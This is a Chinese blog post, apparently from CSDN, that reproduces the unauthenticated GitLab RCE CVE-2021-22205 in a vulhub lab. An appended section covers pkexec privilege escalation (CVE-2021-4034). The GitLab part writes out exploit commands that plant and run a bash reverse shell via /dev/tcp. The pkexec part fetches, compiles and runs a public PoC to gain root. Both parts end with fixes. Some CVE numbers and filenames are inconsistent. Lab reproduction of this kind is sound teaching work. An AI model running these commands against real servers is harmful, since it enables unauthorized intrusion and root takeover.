【漏洞复现】CVE-2021-22205 GitLab 未授权RCE

这篇文章详细介绍了GitLab 13.10版本中CVE-2021-22204漏洞的复现过程,包括漏洞原理、环境设置、POC利用和修复建议。通过未授权上传恶意图片触发任意代码执行,演示了如何利用这个漏洞获取权限。

0x00 漏洞简介:

漏洞出来第一时间,听漏洞浍测的朋友传来的情报,就及时给了POC,但一直没复现,只是简单看了文章,提到需要可以注册用户才能进行攻击,然后就感觉挺鸡肋,没有再继续看。

恰巧好基友涛子给我发来他复现的文章,看了看exp,感觉并没那么鸡肋,相反可以通过未授权进行权限的获取,正好自己也复现了一手,同时借用涛子的文章给大家展现了出来。

GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,并在此基础上搭建起来的 Web服务。

GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执

参考链接:

0x01 影响版本:

该漏洞影响以下GitLab企业版和社区版:11.9 <= GitLab(CE/EE)< 13.8.813.9 <= GitLab(CE/EE)< 13.9.613.10 <=GitLab(CE/EE)< 13.10.3本文复现版本:Gitlab CE 13.10.1

0x02 漏洞环境

建议内存>8

执行如下命令启动一个GitLab 13.10.1版本服务器:

git clone https://github.com/vulhub/vulhub.gitcd vulhub/gitlab/CVE-2021-22205/docker-compose up -d环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。

0x03 漏洞复现

漏洞POC

https://github.com/Al1ex/CVE-2021-22205

漏洞验证

python CVE-2021-22205.py -v true -t http://Your IP:Port

命令执行:

反弹shell:

python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
这条语句意思是代表,对写入成功的sh脚本加执行权限
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
这条语句意思是代表,运行反弹shell脚本

0x04 修复方案

1、及时升级GitLab至最新安全版本

2、配置访问控制策略,避免受影响的GitLab暴露在公网

转载请注明:Adminxe's Blog » 【漏洞复现】CVE-2021-22205 GitLab 未授权RCE

CVE-2021-4034 是一个影响 Linux 系统的严重本地提权漏洞,涉及 Polkit 的 pkexec 组件。该漏洞允许低权限用户通过构造特定参数调用 pkexec 以实现本地提权,从而获得 root 权限。Vulhub 平台通常提供现成的 Docker 环境用于复现漏洞。 以下是在 Vulhub 中复现 CVE-2021-4034 漏洞的具体步骤: ### 准备环境 1. 确保系统中已安装必要的依赖环境,包括: - Docker - Docker Compose 2. 下载 Vulhub 项目到本地: ```bash git clone https://github.com/vulhub/vulhub.git ``` 3. 进入 CVE-2021-4034 漏洞目录: ```bash cd vulhub/CVE-2021-4034 ``` ### 启动漏洞环境 1. 使用 Docker Compose 构建并启动容器: ```bash docker-compose up -d ``` 2. 检查容器是否成功运行: ```bash docker ps ``` 应该能看到一个名为 `cve-2021-4034` 的容器正在运行。 ### 验证漏洞存在性 1. 进入容器内部: ```bash docker exec -it cve-2021-4034 /bin/bash ``` 2. 在容器中验证是否存在漏洞- 检查 pkexec 版本: ```bash pkexec --version ``` - 如果版本号低于修复版本(如 0.105),则系统存在漏洞。 ### 利用漏洞提权 1. 编写或下载漏洞利用脚本,例如使用公开的 PoC 脚本: ```bash wget https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main -O CVE-2021-4034.zip unzip CVE-2021-4034.zip cd CVE-2021-4034-main ``` 2. 编译并运行漏洞利用代码: ```bash make ./cve-2021-4034 ``` 如果漏洞存在,代码运行后应获得 root 权限。 ### 验证提权成功 1. 检查当前用户权限: ```bash id ``` 输出显示当前用户已具有 root 权限,表明提权成功。 ### 修复建议 1. 升级系统中的 Polkit 包至修复版本(0.105 或更高): ```bash apt update && apt upgrade ``` 2. 验证升级后的 pkexec 版本: ```bash pkexec --version ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值